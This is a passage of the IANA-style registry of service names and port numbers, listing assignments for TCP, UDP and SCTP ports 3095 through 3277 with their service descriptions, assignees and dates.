panasas 3095 tcp Panasas rendezvous port [Patrick_Keane] [Patrick_Keane] 2017-08-17
panasas 3095 udp Panasas rendezvous port [Patrick_Keane] [Patrick_Keane] 2017-08-17
ndl-aps 3096 tcp Active Print Server Port [Martin_Norman] [Martin_Norman]
ndl-aps 3096 udp Active Print Server Port [Martin_Norman] [Martin_Norman]
3097 tcp Reserved
3097 udp Reserved
itu-bicc-stc 3097 sctp ITU-T Q.1902.1/Q.2150.3 [Greg_Sidebottom] [Greg_Sidebottom]
umm-port 3098 tcp Universal Message Manager [Phil_Braham] [Phil_Braham]
umm-port 3098 udp Universal Message Manager [Phil_Braham] [Phil_Braham]
chmd 3099 tcp CHIPSY Machine Daemon [Trond_Borsting] [Trond_Borsting]
chmd 3099 udp CHIPSY Machine Daemon [Trond_Borsting] [Trond_Borsting]
opcon-xps 3100 tcp OpCon/xps [David_Bourland] [David_Bourland]
opcon-xps 3100 udp OpCon/xps [David_Bourland] [David_Bourland]
hp-pxpib 3101 tcp HP PolicyXpert PIB Server [Brian_O_Keefe] [Brian_O_Keefe]
hp-pxpib 3101 udp HP PolicyXpert PIB Server [Brian_O_Keefe] [Brian_O_Keefe]
slslavemon 3102 tcp SoftlinK Slave Mon Port [Moshe_Livne] [Moshe_Livne]
slslavemon 3102 udp SoftlinK Slave Mon Port [Moshe_Livne] [Moshe_Livne]
autocuesmi 3103 tcp Autocue SMI Protocol
autocuesmi 3103 udp Autocue SMI Protocol
autocuelog 3104 tcp Autocue Logger Protocol
autocuetime 3104 udp Autocue Time Service [Geoff_Back] [Geoff_Back]
cardbox 3105 tcp Cardbox
cardbox 3105 udp Cardbox
cardbox-http 3106 tcp Cardbox HTTP [Martin_Kochanski] [Martin_Kochanski]
cardbox-http 3106 udp Cardbox HTTP [Martin_Kochanski] [Martin_Kochanski]
business 3107 tcp Business protocol
business 3107 udp Business protocol
geolocate 3108 tcp Geolocate protocol
geolocate 3108 udp Geolocate protocol
personnel 3109 tcp Personnel protocol [William_Randolph_Roy] [William_Randolph_Roy]
personnel 3109 udp Personnel protocol [William_Randolph_Roy] [William_Randolph_Roy]
sim-control 3110 tcp simulator control port [Ian_Bell] [Ian_Bell]
sim-control 3110 udp simulator control port [Ian_Bell] [Ian_Bell]
wsynch 3111 tcp Web Synchronous Services [Valery_Fremaux] [Valery_Fremaux]
wsynch 3111 udp Web Synchronous Services [Valery_Fremaux] [Valery_Fremaux]
ksysguard 3112 tcp KDE System Guard [Chris_Schlaeger] [Chris_Schlaeger]
ksysguard 3112 udp KDE System Guard [Chris_Schlaeger] [Chris_Schlaeger]
cs-auth-svr 3113 tcp CS-Authenticate Svr Port [Cliff_Diamond][Andy_Georgiou] [Cliff_Diamond][Andy_Georgiou]
cs-auth-svr 3113 udp CS-Authenticate Svr Port [Cliff_Diamond][Andy_Georgiou] [Cliff_Diamond][Andy_Georgiou]
ccmad 3114 tcp CCM AutoDiscover [Ram_Sudama] [Ram_Sudama]
ccmad 3114 udp CCM AutoDiscover [Ram_Sudama] [Ram_Sudama]
mctet-master 3115 tcp MCTET Master
mctet-master 3115 udp MCTET Master
mctet-gateway 3116 tcp MCTET Gateway
mctet-gateway 3116 udp MCTET Gateway
mctet-jserv 3117 tcp MCTET Jserv [Portnoy_Boxman] [Portnoy_Boxman]
mctet-jserv 3117 udp MCTET Jserv [Portnoy_Boxman] [Portnoy_Boxman]
pkagent 3118 tcp PKAgent [Michael_Douglass] [Michael_Douglass]
pkagent 3118 udp PKAgent [Michael_Douglass] [Michael_Douglass]
d2000kernel 3119 tcp D2000 Kernel Port
d2000kernel 3119 udp D2000 Kernel Port
d2000webserver 3120 tcp D2000 Webserver Port [Tomas_Rajcan] [Tomas_Rajcan]
d2000webserver 3120 udp D2000 Webserver Port [Tomas_Rajcan] [Tomas_Rajcan]
The pacemaker remote
(pcmk-remote) service
pcmk-remote 3121 tcp extends high availability [David_Vossel] [Andrew_Beekhof] 2013-03-15 port 3121 previously noted "Removed on 2003-09-17"
functionality outside of the
Linux cluster into remote
nodes.
3121 udp Reserved 2013-03-15 port 3121 previously noted "Removed on 2003-09-17"
vtr-emulator 3122 tcp MTI VTR Emulator port [John_Mertus] [John_Mertus]
vtr-emulator 3122 udp MTI VTR Emulator port [John_Mertus] [John_Mertus]
edix 3123 tcp EDI Translation Protocol [William_Randolph_Roy] [William_Randolph_Roy]
edix 3123 udp EDI Translation Protocol [William_Randolph_Roy] [William_Randolph_Roy]
beacon-port 3124 tcp Beacon Port [James_Paul_Duncan] [James_Paul_Duncan]
beacon-port 3124 udp Beacon Port [James_Paul_Duncan] [James_Paul_Duncan]
a13-an 3125 tcp A13-AN Interface [Douglas_Knisely] [Douglas_Knisely]
a13-an 3125 udp A13-AN Interface [Douglas_Knisely] [Douglas_Knisely]
3126 Unassigned 2007-10-04
ctx-bridge 3127 tcp CTX Bridge Port [Alexander_Dubrovsky] [Alexander_Dubrovsky]
ctx-bridge 3127 udp CTX Bridge Port [Alexander_Dubrovsky] [Alexander_Dubrovsky]
ndl-aas 3128 tcp Active API Server Port [Martin_Norman] [Martin_Norman]
ndl-aas 3128 udp Active API Server Port [Martin_Norman] [Martin_Norman]
netport-id 3129 tcp NetPort Discovery Port [P_T_K_Farrar] [P_T_K_Farrar]
netport-id 3129 udp NetPort Discovery Port [P_T_K_Farrar] [P_T_K_Farrar]
icpv2 3130 tcp ICPv2 [Duane_Wessels] [Duane_Wessels]
icpv2 3130 udp ICPv2 [Duane_Wessels] [Duane_Wessels]
Known
netbookmark 3131 tcp Net Book Mark [Yiftach_Ravid] [Yiftach_Ravid] Unauthorized
Use on port
3131
Known
netbookmark 3131 udp Net Book Mark [Yiftach_Ravid] [Yiftach_Ravid] Unauthorized
Use on port
3131
ms-rule-engine 3132 tcp Microsoft Business Rule [Anush_Kumar] [Anush_Kumar]
Engine Update Service
ms-rule-engine 3132 udp Microsoft Business Rule [Anush_Kumar] [Anush_Kumar]
Engine Update Service
prism-deploy 3133 tcp Prism Deploy User Port [Joan_Linck] [Joan_Linck]
prism-deploy 3133 udp Prism Deploy User Port [Joan_Linck] [Joan_Linck]
ecp 3134 tcp Extensible Code Protocol [Jim_Trek][Mark_Bocko] [Jim_Trek][Mark_Bocko]
ecp 3134 udp Extensible Code Protocol [Jim_Trek][Mark_Bocko] [Jim_Trek][Mark_Bocko]
peerbook-port 3135 tcp PeerBook Port [John_Flowers] [John_Flowers]
peerbook-port 3135 udp PeerBook Port [John_Flowers] [John_Flowers]
grubd 3136 tcp Grub Server Port [Kord_Campbell] [Kord_Campbell]
grubd 3136 udp Grub Server Port [Kord_Campbell] [Kord_Campbell]
rtnt-1 3137 tcp rtnt-1 data packets
rtnt-1 3137 udp rtnt-1 data packets
rtnt-2 3138 tcp rtnt-2 data packets [Ron_Muellerschoen] [Ron_Muellerschoen]
rtnt-2 3138 udp rtnt-2 data packets [Ron_Muellerschoen] [Ron_Muellerschoen]
incognitorv 3139 tcp Incognito Rendez-Vous [Stephane_Bourque] [Stephane_Bourque]
incognitorv 3139 udp Incognito Rendez-Vous [Stephane_Bourque] [Stephane_Bourque]
ariliamulti 3140 tcp Arilia Multiplexor [Stephane_Bourque_2] [Stephane_Bourque_2]
ariliamulti 3140 udp Arilia Multiplexor [Stephane_Bourque_2] [Stephane_Bourque_2]
vmodem 3141 tcp VMODEM [Ray_Gwinn] [Ray_Gwinn]
vmodem 3141 udp VMODEM [Ray_Gwinn] [Ray_Gwinn]
rdc-wh-eos 3142 tcp RDC WH EOS [Udi_Nir] [Udi_Nir]
rdc-wh-eos 3142 udp RDC WH EOS [Udi_Nir] [Udi_Nir]
seaview 3143 tcp Sea View [Jim_Flaherty_2] [Jim_Flaherty_2]
seaview 3143 udp Sea View [Jim_Flaherty_2] [Jim_Flaherty_2]
tarantella 3144 tcp Tarantella [Roger_Binns] [Roger_Binns]
tarantella 3144 udp Tarantella [Roger_Binns] [Roger_Binns]
Known
csi-lfap 3145 tcp CSI-LFAP [Paul_Amsden] [Paul_Amsden] UNAUTHORIZED
USE: port
3145
Known
csi-lfap 3145 udp CSI-LFAP [Paul_Amsden] [Paul_Amsden] UNAUTHORIZED
USE: port
3145
bears-02 3146 tcp bears-02 [Bruce_McKinnon_2] [Bruce_McKinnon_2]
bears-02 3146 udp bears-02 [Bruce_McKinnon_2] [Bruce_McKinnon_2]
rfio 3147 tcp RFIO [Frederic_Hemmer] [Frederic_Hemmer]
rfio 3147 udp RFIO [Frederic_Hemmer] [Frederic_Hemmer]
nm-game-admin 3148 tcp NetMike Game Administrator
nm-game-admin 3148 udp NetMike Game Administrator
nm-game-server 3149 tcp NetMike Game Server
nm-game-server 3149 udp NetMike Game Server
nm-asses-admin 3150 tcp NetMike Assessor
Administrator
nm-asses-admin 3150 udp NetMike Assessor
Administrator
nm-assessor 3151 tcp NetMike Assessor [Andrew_Sharpe] [Andrew_Sharpe]
nm-assessor 3151 udp NetMike Assessor [Andrew_Sharpe] [Andrew_Sharpe]
feitianrockey 3152 tcp FeiTian Port [Huang_Yu] [Huang_Yu]
feitianrockey 3152 udp FeiTian Port [Huang_Yu] [Huang_Yu]
s8-client-port 3153 tcp S8Cargo Client Port [Jon_S_Kyle] [Jon_S_Kyle]
s8-client-port 3153 udp S8Cargo Client Port [Jon_S_Kyle] [Jon_S_Kyle]
ccmrmi 3154 tcp ON RMI Registry [Ram_Sudama] [Ram_Sudama]
ccmrmi 3154 udp ON RMI Registry [Ram_Sudama] [Ram_Sudama]
jpegmpeg 3155 tcp JpegMpeg Port [Richard_Bassous] [Richard_Bassous]
jpegmpeg 3155 udp JpegMpeg Port [Richard_Bassous] [Richard_Bassous]
indura 3156 tcp Indura Collector [Bruce_Kosbab] [Bruce_Kosbab]
indura 3156 udp Indura Collector [Bruce_Kosbab] [Bruce_Kosbab]
e3consultants 3157 tcp CCC Listener Port [Brian_Carnell] [Brian_Carnell]
e3consultants 3157 udp CCC Listener Port [Brian_Carnell] [Brian_Carnell]
stvp 3158 tcp SmashTV Protocol [Christian_Wolff] [Christian_Wolff]
stvp 3158 udp SmashTV Protocol [Christian_Wolff] [Christian_Wolff]
navegaweb-port 3159 tcp NavegaWeb Tarification [Miguel_Angel_Fernand] [Miguel_Angel_Fernand]
navegaweb-port 3159 udp NavegaWeb Tarification [Miguel_Angel_Fernand] [Miguel_Angel_Fernand]
tip-app-server 3160 tcp TIP Application Server [Olivier_Mascia] [Olivier_Mascia]
tip-app-server 3160 udp TIP Application Server [Olivier_Mascia] [Olivier_Mascia]
doc1lm 3161 tcp DOC1 License Manager [Greg_Goodson] [Greg_Goodson]
doc1lm 3161 udp DOC1 License Manager [Greg_Goodson] [Greg_Goodson]
sflm 3162 tcp SFLM [System_Administrator] [System_Administrator]
sflm 3162 udp SFLM [System_Administrator] [System_Administrator]
res-sap 3163 tcp RES-SAP [Bob_Janssen] [Bob_Janssen]
res-sap 3163 udp RES-SAP [Bob_Janssen] [Bob_Janssen]
imprs 3164 tcp IMPRS [Lars_Bohn] [Lars_Bohn]
imprs 3164 udp IMPRS [Lars_Bohn] [Lars_Bohn]
newgenpay 3165 tcp Newgenpay Engine Service [Ilan_Zisser] [Ilan_Zisser]
newgenpay 3165 udp Newgenpay Engine Service [Ilan_Zisser] [Ilan_Zisser]
sossecollector 3166 tcp Quest Spotlight [Greg_Cottman] [Greg_Cottman] 2008-10-23
Out-Of-Process Collector
sossecollector 3166 udp Quest Spotlight [Greg_Cottman] [Greg_Cottman] 2008-10-23
Out-Of-Process Collector
nowcontact 3167 tcp Now Contact Public Server
nowcontact 3167 udp Now Contact Public Server
poweronnud 3168 tcp Now Up-to-Date Public Server [John_Wallace] [John_Wallace]
poweronnud 3168 udp Now Up-to-Date Public Server [John_Wallace] [John_Wallace]
serverview-as 3169 tcp SERVERVIEW-AS
serverview-as 3169 udp SERVERVIEW-AS
serverview-asn 3170 tcp SERVERVIEW-ASN
serverview-asn 3170 udp SERVERVIEW-ASN
serverview-gf 3171 tcp SERVERVIEW-GF
serverview-gf 3171 udp SERVERVIEW-GF
serverview-rm 3172 tcp SERVERVIEW-RM
serverview-rm 3172 udp SERVERVIEW-RM
serverview-icc 3173 tcp SERVERVIEW-ICC [Detlef_Rothe] [Detlef_Rothe] 2009-05-15
serverview-icc 3173 udp SERVERVIEW-ICC [Detlef_Rothe] [Detlef_Rothe] 2009-05-15
armi-server 3174 tcp ARMI Server [Bobby_Martin] [Bobby_Martin]
armi-server 3174 udp ARMI Server [Bobby_Martin] [Bobby_Martin]
t1-e1-over-ip 3175 tcp T1_E1_Over_IP [Mark_Doyle] [Mark_Doyle]
t1-e1-over-ip 3175 udp T1_E1_Over_IP [Mark_Doyle] [Mark_Doyle]
ars-master 3176 tcp ARS Master [Portnoy_Boxman] [Portnoy_Boxman]
ars-master 3176 udp ARS Master [Portnoy_Boxman] [Portnoy_Boxman]
phonex-port 3177 tcp Phonex Protocol [Doug_Grover] [Doug_Grover]
phonex-port 3177 udp Phonex Protocol [Doug_Grover] [Doug_Grover]
radclientport 3178 tcp Radiance UltraEdge Port [Sri_Subramaniam] [Sri_Subramaniam]
radclientport 3178 udp Radiance UltraEdge Port [Sri_Subramaniam] [Sri_Subramaniam]
h2gf-w-2m 3179 tcp H2GF W.2m Handover prot. [Arne_Norefors] [Arne_Norefors]
h2gf-w-2m 3179 udp H2GF W.2m Handover prot. [Arne_Norefors] [Arne_Norefors]
mc-brk-srv 3180 tcp Millicent Broker Server [Steve_Glassman] [Steve_Glassman]
mc-brk-srv 3180 udp Millicent Broker Server [Steve_Glassman] [Steve_Glassman]
bmcpatrolagent 3181 tcp BMC Patrol Agent
bmcpatrolagent 3181 udp BMC Patrol Agent
bmcpatrolrnvu 3182 tcp BMC Patrol Rendezvous [Portnoy_Boxman] [Portnoy_Boxman]
bmcpatrolrnvu 3182 udp BMC Patrol Rendezvous [Portnoy_Boxman] [Portnoy_Boxman]
cops-tls 3183 tcp COPS/TLS [Mark_Stevens] [Mark_Stevens]
cops-tls 3183 udp COPS/TLS [Mark_Stevens] [Mark_Stevens]
apogeex-port 3184 tcp ApogeeX Port [Tom_Nys] [Tom_Nys]
apogeex-port 3184 udp ApogeeX Port [Tom_Nys] [Tom_Nys]
smpppd 3185 tcp SuSE Meta PPPD [Arvin_Schnell] [Arvin_Schnell]
smpppd 3185 udp SuSE Meta PPPD [Arvin_Schnell] [Arvin_Schnell]
iiw-port 3186 tcp IIW Monitor User Port [Corey_Burnett] [Corey_Burnett]
iiw-port 3186 udp IIW Monitor User Port [Corey_Burnett] [Corey_Burnett]
odi-port 3187 tcp Open Design Listen Port [Phivos_Aristides] [Phivos_Aristides]
odi-port 3187 udp Open Design Listen Port [Phivos_Aristides] [Phivos_Aristides]
brcm-comm-port 3188 tcp Broadcom Port [Thomas_L_Johnson] [Thomas_L_Johnson]
brcm-comm-port 3188 udp Broadcom Port [Thomas_L_Johnson] [Thomas_L_Johnson]
pcle-infex 3189 tcp Pinnacle Sys InfEx Port [Anthon_van_der_Neut] [Anthon_van_der_Neut]
pcle-infex 3189 udp Pinnacle Sys InfEx Port [Anthon_van_der_Neut] [Anthon_van_der_Neut]
csvr-proxy 3190 tcp ConServR Proxy
csvr-proxy 3190 udp ConServR Proxy
csvr-sslproxy 3191 tcp ConServR SSL Proxy [Mikhail_Kruk] [Mikhail_Kruk]
csvr-sslproxy 3191 udp ConServR SSL Proxy [Mikhail_Kruk] [Mikhail_Kruk]
firemonrcc 3192 tcp FireMon Revision Control [Michael_Bishop] [Michael_Bishop]
firemonrcc 3192 udp FireMon Revision Control [Michael_Bishop] [Michael_Bishop]
spandataport 3193 tcp SpanDataPort [Jesse_McKay] [Jesse_McKay]
spandataport 3193 udp SpanDataPort [Jesse_McKay] [Jesse_McKay]
magbind 3194 tcp Rockstorm MAG protocol [Jens_Nilsson] [Jens_Nilsson]
magbind 3194 udp Rockstorm MAG protocol [Jens_Nilsson] [Jens_Nilsson]
ncu-1 3195 tcp Network Control Unit
ncu-1 3195 udp Network Control Unit
ncu-2 3196 tcp Network Control Unit [Charlie_Hundre] [Charlie_Hundre]
ncu-2 3196 udp Network Control Unit [Charlie_Hundre] [Charlie_Hundre]
embrace-dp-s 3197 tcp Embrace Device Protocol
Server
embrace-dp-s 3197 udp Embrace Device Protocol
Server
embrace-dp-c 3198 tcp Embrace Device Protocol [Elliot_Schwartz] [Elliot_Schwartz]
Client
embrace-dp-c 3198 udp Embrace Device Protocol [Elliot_Schwartz] [Elliot_Schwartz]
Client
dmod-workspace 3199 tcp DMOD WorkSpace [Nick_Plante] [Nick_Plante]
dmod-workspace 3199 udp DMOD WorkSpace [Nick_Plante] [Nick_Plante]
tick-port 3200 tcp Press-sense Tick Port [Boris_Svetlitsky] [Boris_Svetlitsky]
tick-port 3200 udp Press-sense Tick Port [Boris_Svetlitsky] [Boris_Svetlitsky]
cpq-tasksmart 3201 tcp CPQ-TaskSmart [Jackie_Lau] [Jackie_Lau]
cpq-tasksmart 3201 udp CPQ-TaskSmart [Jackie_Lau] [Jackie_Lau]
intraintra 3202 tcp IntraIntra [Matthew_Asham] [Matthew_Asham]
intraintra 3202 udp IntraIntra [Matthew_Asham] [Matthew_Asham]
netwatcher-mon 3203 tcp Network Watcher Monitor
netwatcher-mon 3203 udp Network Watcher Monitor
netwatcher-db 3204 tcp Network Watcher DB Access [Hirokazu_Fujisawa] [Hirokazu_Fujisawa]
netwatcher-db 3204 udp Network Watcher DB Access [Hirokazu_Fujisawa] [Hirokazu_Fujisawa]
isns 3205 tcp iSNS Server Port [RFC4171]
isns 3205 udp iSNS Server Port [RFC4171]
ironmail 3206 tcp IronMail POP Proxy [Mike_Hudack] [Mike_Hudack]
ironmail 3206 udp IronMail POP Proxy [Mike_Hudack] [Mike_Hudack]
vx-auth-port 3207 tcp Veritas Authentication Port [Senthil_Ponnuswamy] [Senthil_Ponnuswamy]
vx-auth-port 3207 udp Veritas Authentication Port [Senthil_Ponnuswamy] [Senthil_Ponnuswamy]
pfu-prcallback 3208 tcp PFU PR Callback [Tetsuharu_Hanada] [Tetsuharu_Hanada]
pfu-prcallback 3208 udp PFU PR Callback [Tetsuharu_Hanada] [Tetsuharu_Hanada]
netwkpathengine 3209 tcp HP OpenView Network Path [Anthony_Walker] [Anthony_Walker]
Engine Server
netwkpathengine 3209 udp HP OpenView Network Path [Anthony_Walker] [Anthony_Walker]
Engine Server
flamenco-proxy 3210 tcp Flamenco Networks Proxy [Corey_Corrick] [Corey_Corrick]
flamenco-proxy 3210 udp Flamenco Networks Proxy [Corey_Corrick] [Corey_Corrick]
avsecuremgmt 3211 tcp Avocent Secure Management [Brian_S_Stewart] [Brian_S_Stewart]
avsecuremgmt 3211 udp Avocent Secure Management [Brian_S_Stewart] [Brian_S_Stewart]
surveyinst 3212 tcp Survey Instrument [Al_Amet] [Al_Amet]
surveyinst 3212 udp Survey Instrument [Al_Amet] [Al_Amet]
neon24x7 3213 tcp NEON 24X7 Mission Control [Tony_Lubrano] [Tony_Lubrano]
neon24x7 3213 udp NEON 24X7 Mission Control [Tony_Lubrano] [Tony_Lubrano]
jmq-daemon-1 3214 tcp JMQ Daemon Port 1
jmq-daemon-1 3214 udp JMQ Daemon Port 1
jmq-daemon-2 3215 tcp JMQ Daemon Port 2 [Martin_West] [Martin_West]
jmq-daemon-2 3215 udp JMQ Daemon Port 2 [Martin_West] [Martin_West]
ferrari-foam 3216 tcp Ferrari electronic FOAM [Johann_Deutinger] [Johann_Deutinger]
ferrari-foam 3216 udp Ferrari electronic FOAM [Johann_Deutinger] [Johann_Deutinger]
unite 3217 tcp Unified IP & Telecom [Christer_Gunnarsson] [Christer_Gunnarsson] 2009-03-26
Environment
unite 3217 udp Unified IP & Telecom [Christer_Gunnarsson] [Christer_Gunnarsson] 2009-03-26
Environment
smartpackets 3218 tcp EMC SmartPackets [Steve_Spataro] [Steve_Spataro]
smartpackets 3218 udp EMC SmartPackets [Steve_Spataro] [Steve_Spataro]
wms-messenger 3219 tcp WMS Messenger [Michael_Monasterio] [Michael_Monasterio]
wms-messenger 3219 udp WMS Messenger [Michael_Monasterio] [Michael_Monasterio]
xnm-ssl 3220 tcp XML NM over SSL
xnm-ssl 3220 udp XML NM over SSL
xnm-clear-text 3221 tcp XML NM over TCP [Mark_Trostler] [Mark_Trostler]
xnm-clear-text 3221 udp XML NM over TCP [Mark_Trostler] [Mark_Trostler]
glbp 3222 tcp Gateway Load Balancing Pr [Douglas_McLaggan] [Douglas_McLaggan]
glbp 3222 udp Gateway Load Balancing Pr [Douglas_McLaggan] [Douglas_McLaggan]
digivote 3223 tcp DIGIVOTE (R) Vote-Server [Christian_Treczoks] [Christian_Treczoks]
digivote 3223 udp DIGIVOTE (R) Vote-Server [Christian_Treczoks] [Christian_Treczoks]
aes-discovery 3224 tcp AES Discovery Port [Ken_Richard] [Ken_Richard]
aes-discovery 3224 udp AES Discovery Port [Ken_Richard] [Ken_Richard]
fcip-port 3225 tcp FCIP [RFC3821]
fcip-port 3225 udp FCIP [RFC3821]
isi-irp 3226 tcp ISI Industry Software IRP [Peter_Sandstrom] [Peter_Sandstrom]
isi-irp 3226 udp ISI Industry Software IRP [Peter_Sandstrom] [Peter_Sandstrom]
dwnmshttp 3227 tcp DiamondWave NMS Server
dwnmshttp 3227 udp DiamondWave NMS Server
dwmsgserver 3228 tcp DiamondWave MSG Server [Varma_Bhupatiraju] [Varma_Bhupatiraju]
dwmsgserver 3228 udp DiamondWave MSG Server [Varma_Bhupatiraju] [Varma_Bhupatiraju]
global-cd-port 3229 tcp Global CD Port [Vitaly_Revsin_2] [Vitaly_Revsin_2]
global-cd-port 3229 udp Global CD Port [Vitaly_Revsin_2] [Vitaly_Revsin_2]
sftdst-port 3230 tcp Software Distributor Port [Andrea_Lanza] [Andrea_Lanza] 2014-02-21
sftdst-port 3230 udp Software Distributor Port [Andrea_Lanza] [Andrea_Lanza] 2014-02-21
VidiGo communication
vidigo 3231 tcp (previous was: Delta [Peter_Ijkhout] [Peter_Ijkhout]
Solutions Direct)
VidiGo communication
vidigo 3231 udp (previous was: Delta [Peter_Ijkhout] [Peter_Ijkhout]
Solutions Direct)
mdtp 3232 tcp MDT port 2012-02-21 [RFC6513]
mdtp 3232 udp MDT port 2012-02-21 [RFC6513]
whisker 3233 tcp WhiskerControl main port [Rudolf_Cardinal] [Rudolf_Cardinal] 2002-02
whisker 3233 udp WhiskerControl main port [Rudolf_Cardinal] [Rudolf_Cardinal] 2002-02
alchemy 3234 tcp Alchemy Server [Mikhail_Belov] [Mikhail_Belov] 2002-02
alchemy 3234 udp Alchemy Server [Mikhail_Belov] [Mikhail_Belov] 2002-02
mdap-port 3235 tcp MDAP port [Johan_Deleu] [Johan_Deleu] 2002-02
mdap-port 3235 udp MDAP Port [Johan_Deleu] [Johan_Deleu] 2002-02
apparenet-ts 3236 tcp appareNet Test Server
apparenet-ts 3236 udp appareNet Test Server
apparenet-tps 3237 tcp appareNet Test Packet
Sequencer
apparenet-tps 3237 udp appareNet Test Packet
Sequencer
apparenet-as 3238 tcp appareNet Analysis Server
apparenet-as 3238 udp appareNet Analysis Server
apparenet-ui 3239 tcp appareNet User Interface [Fred_Klassen] [Fred_Klassen] 2002-02
apparenet-ui 3239 udp appareNet User Interface [Fred_Klassen] [Fred_Klassen] 2002-02
triomotion 3240 tcp Trio Motion Control Port [Tony_Matthews] [Tony_Matthews] 2002-02
triomotion 3240 udp Trio Motion Control Port [Tony_Matthews] [Tony_Matthews] 2002-02
sysorb 3241 tcp SysOrb Monitoring Server [Jakob_Oestergaard] [Jakob_Oestergaard] 2002-02
sysorb 3241 udp SysOrb Monitoring Server [Jakob_Oestergaard] [Jakob_Oestergaard] 2002-02
sdp-id-port 3242 tcp Session Description ID [Greg_Rose_2] [Greg_Rose_2] 2002-02
sdp-id-port 3242 udp Session Description ID [Greg_Rose_2] [Greg_Rose_2] 2002-02
timelot 3243 tcp Timelot Port [David_Ferguson] [David_Ferguson] 2002-02
timelot 3243 udp Timelot Port [David_Ferguson] [David_Ferguson] 2002-02
onesaf 3244 tcp OneSAF [Gene_McCulley] [Gene_McCulley] 2002-02
onesaf 3244 udp OneSAF [Gene_McCulley] [Gene_McCulley] 2002-02
vieo-fe 3245 tcp VIEO Fabric Executive [James_Cox] [James_Cox] 2002-02
vieo-fe 3245 udp VIEO Fabric Executive [James_Cox] [James_Cox] 2002-02
dvt-system 3246 tcp DVT SYSTEM PORT
dvt-system 3246 udp DVT SYSTEM PORT
dvt-data 3247 tcp DVT DATA LINK [Phillip_Heil] [Phillip_Heil] 2002-02
dvt-data 3247 udp DVT DATA LINK [Phillip_Heil] [Phillip_Heil] 2002-02
procos-lm 3248 tcp PROCOS LM [Torsten_Rendelmann] [Torsten_Rendelmann]
procos-lm 3248 udp PROCOS LM [Torsten_Rendelmann] [Torsten_Rendelmann]
ssp 3249 tcp State Sync Protocol [Stephane_Beaulieu] [Stephane_Beaulieu] 2002-02
ssp 3249 udp State Sync Protocol [Stephane_Beaulieu] [Stephane_Beaulieu] 2002-02
hicp 3250 tcp HMS hicp port [Joel_Palsson] [Joel_Palsson] 2002-02
hicp 3250 udp HMS hicp port [Joel_Palsson] [Joel_Palsson] 2002-02
sysscanner 3251 tcp Sys Scanner [Dick_Georges] [Dick_Georges] 2002-02
sysscanner 3251 udp Sys Scanner [Dick_Georges] [Dick_Georges] 2002-02
dhe 3252 tcp DHE port [Fabrizio_Massimo_Fer] [Fabrizio_Massimo_Fer] 2002-02
dhe 3252 udp DHE port [Fabrizio_Massimo_Fer] [Fabrizio_Massimo_Fer] 2002-02
pda-data 3253 tcp PDA Data
pda-data 3253 udp PDA Data
pda-sys 3254 tcp PDA System [Jian_Fan] [Jian_Fan] 2002-02
pda-sys 3254 udp PDA System [Jian_Fan] [Jian_Fan] 2002-02
semaphore 3255 tcp Semaphore Connection Port [Jay_Eckles] [Jay_Eckles] 2002-02
semaphore 3255 udp Semaphore Connection Port [Jay_Eckles] [Jay_Eckles] 2002-02
cpqrpm-agent 3256 tcp Compaq RPM Agent Port
cpqrpm-agent 3256 udp Compaq RPM Agent Port
cpqrpm-server 3257 tcp Compaq RPM Server Port [Royal_King] [Royal_King] 2002-02
cpqrpm-server 3257 udp Compaq RPM Server Port [Royal_King] [Royal_King] 2002-02
ivecon-port 3258 tcp Ivecon Server Port [Serguei_Tevs] [Serguei_Tevs] 2002-02
ivecon-port 3258 udp Ivecon Server Port [Serguei_Tevs] [Serguei_Tevs] 2002-02
epncdp2 3259 tcp Epson Network Common Devi [Oishi_Toshiaki] [Oishi_Toshiaki] 2002-02
epncdp2 3259 udp Epson Network Common Devi [Oishi_Toshiaki] [Oishi_Toshiaki] 2002-02
iscsi-target 3260 tcp iSCSI port [IESG] [IETF_Chair] 2013-08-27 [RFC7143]
iscsi-target 3260 udp iSCSI port [IESG] [IETF_Chair] 2013-08-27 [RFC7143]
winshadow 3261 tcp winShadow [Colin_Barry] [Colin_Barry]
winshadow 3261 udp winShadow [Colin_Barry] [Colin_Barry]
necp 3262 tcp NECP [Alberto_Cerpa] [Alberto_Cerpa]
necp 3262 udp NECP [Alberto_Cerpa] [Alberto_Cerpa]
ecolor-imager 3263 tcp E-Color Enterprise Imager [Tamara_Baker] [Tamara_Baker]
ecolor-imager 3263 udp E-Color Enterprise Imager [Tamara_Baker] [Tamara_Baker]
ccmail 3264 tcp cc:mail/lotus [brockman] [brockman]
ccmail 3264 udp cc:mail/lotus [brockman] [brockman]
altav-tunnel 3265 tcp Altav Tunnel [Gary_M_Allen] [Gary_M_Allen]
altav-tunnel 3265 udp Altav Tunnel [Gary_M_Allen] [Gary_M_Allen]
ns-cfg-server 3266 tcp NS CFG Server [Aivi_Lie] [Aivi_Lie]
ns-cfg-server 3266 udp NS CFG Server [Aivi_Lie] [Aivi_Lie]
ibm-dial-out 3267 tcp IBM Dial Out [Skip_Booth] [Skip_Booth]
ibm-dial-out 3267 udp IBM Dial Out [Skip_Booth] [Skip_Booth]
msft-gc 3268 tcp Microsoft Global Catalog
msft-gc 3268 udp Microsoft Global Catalog
msft-gc-ssl 3269 tcp Microsoft Global Catalog [Asaf_Kashi] [Asaf_Kashi]
with LDAP/SSL
msft-gc-ssl 3269 udp Microsoft Global Catalog [Asaf_Kashi] [Asaf_Kashi]
with LDAP/SSL
verismart 3270 tcp Verismart [Jay_Weber] [Jay_Weber]
verismart 3270 udp Verismart [Jay_Weber] [Jay_Weber]
csoft-prev 3271 tcp CSoft Prev Port [Nedelcho_Stanev_3] [Nedelcho_Stanev_3]
csoft-prev 3271 udp CSoft Prev Port [Nedelcho_Stanev_3] [Nedelcho_Stanev_3]
user-manager 3272 tcp Fujitsu User Manager [Yukihiko_Sakurai] [Yukihiko_Sakurai]
user-manager 3272 udp Fujitsu User Manager [Yukihiko_Sakurai] [Yukihiko_Sakurai]
sxmp 3273 tcp Simple Extensible [admin] [admin]
Multiplexed Protocol
sxmp 3273 udp Simple Extensible [admin] [admin]
Multiplexed Protocol
ordinox-server 3274 tcp Ordinox Server [Denis_Ducharme] [Denis_Ducharme]
ordinox-server 3274 udp Ordinox Server [Denis_Ducharme] [Denis_Ducharme]
samd 3275 tcp SAMD [Edgar_Circenis] [Edgar_Circenis]
samd 3275 udp SAMD [Edgar_Circenis] [Edgar_Circenis]
maxim-asics 3276 tcp Maxim ASICs [Dave_Inman] [Dave_Inman]
maxim-asics 3276 udp Maxim ASICs [Dave_Inman] [Dave_Inman]
awg-proxy 3277 tcp AWG Proxy [Alex_McDonald] [Alex_McDonald]
awg-proxy 3277 udp AWG Proxy [Alex_McDonald] [Alex_McDonald]
